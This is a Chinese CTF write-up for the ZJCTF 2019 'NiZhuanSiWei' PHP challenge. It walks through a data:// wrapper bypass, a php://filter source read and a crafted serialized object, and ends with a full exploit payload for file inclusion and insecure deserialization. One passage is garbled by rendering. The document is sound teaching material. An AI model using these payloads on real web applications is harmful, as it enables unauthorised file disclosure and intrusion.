[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei#
打开页面,给出了一个php文件的源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ // file_get_contents()把 $text 的文件中内容读入一个字符串中。
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){ // 正则过滤 $file 参数中不能有 flag
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password); // php 反序列化
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先需要先绕过 file_get_contents($text,‘r’)===“welcome to the zjctf” ,利用 php伪协议 data://text/plain
?text=data://text/plain,welcome to the zjctf
绕过第一个了,接着看看第二个怎么绕过
($file = $_GET['file'];)
if(preg_match("/flag/",$file)){ // 正则过滤,$file 参数中不能有 flag
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password); // php 反序列化
echo $password;
}
不能直接通过获取flag来拿到结果,不过可以用 php://filter 过滤器来进行绕过,先获取 unseless.php 的文件base64编码后的数据
解码后拿到了一个 useless.php 中定义的类,$file 是要输入的 filename,然后再通过 file_get_contents() 读取 $file 文件的内容再输出。
# 解码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
但是还有一个,
file 设置成 flag.php 之后序列化,当 p a s s w o r d 反 序 列 化 后 , 会 把 ∗ ∗ password 反序列化后,会把** password反序列化后,会把∗∗file=flag.php参数给useless.php 文件**再通过 file_get_content(flag.php) 读取 flag.php 文件的内容并输出。所以需要将传入的值进行序列化一下。
# 序列化
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$flag = new Flag();
$serflag = serialize($flag);
echo $serflag;
echo unserialize($serflag);
?>
# 序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
三种限制都已经绕过了,最终形成的payload。
# payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
参考文章#
[大佬解析](
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582242.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582242.html
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· dotnetty 新的篇章- 开源
· 设计模式:简单工厂、工厂方法与抽象工厂
· 用好 JUnit 5 的高级特性:提升单测效率和质量
· 【大数据高并发核心场景实战】 - 数据持久化之冷热分离
· DotTrace系列:1. 理解四大经典的诊断类型(上)